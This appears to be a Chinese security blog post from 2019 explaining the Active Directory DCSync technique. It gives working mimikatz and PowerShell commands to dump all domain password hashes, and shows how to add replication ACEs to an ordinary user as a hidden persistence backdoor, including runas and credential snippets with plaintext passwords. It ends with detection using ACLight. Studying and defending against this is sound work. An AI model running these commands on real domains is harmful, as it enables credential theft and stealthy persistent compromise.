域渗透——DCSync

0x00 前言


DCSync是域渗透中经常会用到的技术,本文会对开源的资料进行整理,结合自己的经验,总结利用和防御检测的方法

0x01 简介


本文将要介绍以下内容:

  • 利用DCSync导出域内所有用户hash的方法
  • 利用DCSync在域内维持权限的方法
  • 自动化检测DCSync后门的方法

0x02 利用DCSync导出域内所有用户hash的方法


DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash

利用条件:

获得以下任一用户的权限:

  • Administrators组内的用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

利用原理:

利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据

参考资料: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47

实现代码:

https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c#L27

利用方法:

1.使用mimikatz

导出域内所有用户的hash:

mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit

导出域内administrator帐户的hash:

mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

2.powershell实现

https://gist.github.com/monoxgas/9d238accd969550136db

通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能

导出域内所有用户的hash:

Invoke-DCSync -DumpForest | ft -wrap -autosize

导出域内administrator帐户的hash:

Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

注:

获得了域内用户的hash后,进一步利用可参考之前的文章:

《域渗透——Pass The Hash的实现》

《渗透技巧——Pass the Hash with Remote Desktop(Restricted Admin mode)》

《域渗透——Pass The Hash & Pass The Key》

0x03 利用DCSync在域内维持权限的方法


利用条件:

获得以下任一用户的权限:

  • Domain Admins组内的用户
  • Enterprise Admins组内的用户

利用原理:

向域内的一个普通用户添加如下三条ACE(Access Control Entries):

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用DCSync导出域内所有用户hash的权限

实现代码:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270

利用方法:

添加ACE的命令如下:

Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

补充:

删除ACE的命令:

Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

注:

关于更多ACL的内容可参考之前的文章:《渗透技巧——Windows下的Access Control List》

使用域用户test1调用DCSync的方法如下:

1.在域内一台登录了test1用户的主机上面,直接使用mimikatz的DCSync功能

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

2.使用runas实现登录test1用户,再使用DCSync

(1)弹出cmd

echo 123456789 | runas /noprofile /user:test\test1 cmd

弹出的cmd下执行如下命令:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

(2)不弹框实现

echo 123456789 | runas /noprofile /user:test\test1 c:\test\1.bat

1.bat的内容如下:

c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

注:

同类的工具还有lsrunas、lsrunase和CPAU

3.使用powershell实现登录test1用户,再使用DCSync

(1)弹出cmd

$uname="test\test1"                                                      
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Start-Process -FilePath "cmd.exe" -Credential $cred  

弹出的cmd下执行如下命令:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

(2)不弹框实现

$uname="test\test1"                                                      
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Start-Process -FilePath "c:\test\1.bat" -Credential $cred

1.bat的内容如下:

c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

注:

使用wmic在本机实现登录用户test1会失败,错误如下:

ERROR:
Description = User credentials cannot be used for local connections

0x04 自动化检测DCSync后门的方法


具有高权限但不在高权限组的用户被称之为Shadow Admin,例如0x03中的域用户test1,仅通过查询高权限组的成员无法发现域内的Shadow Admin

检测原理:

枚举Active Directory中所有用户的ACL,标记出特权帐户

实现代码:

https://github.com/cyberark/ACLight

利用条件:

  • Powershell v3.0
  • 域内普通用户权限

检测方法:

执行项目中的Execute-ACLight2.bat

生成三个文件:

  • Privileged Accounts - Layers Analysis.txt
  • Privileged Accounts Permissions - Final Report.csv
  • Privileged Accounts Permissions - Irregular Accounts.csv

文件中会显示出所有特权帐户

经测试,ACLight能够检测出被添加DCSync权限的用户test1

0x05 小结


本文介绍了域渗透中DCSync的利用和自动化检测的方法,站在防御的角度,建议使用ACLight对域环境的用户ACL进行检测


LEAVE A REPLY

Written on July 11, 2019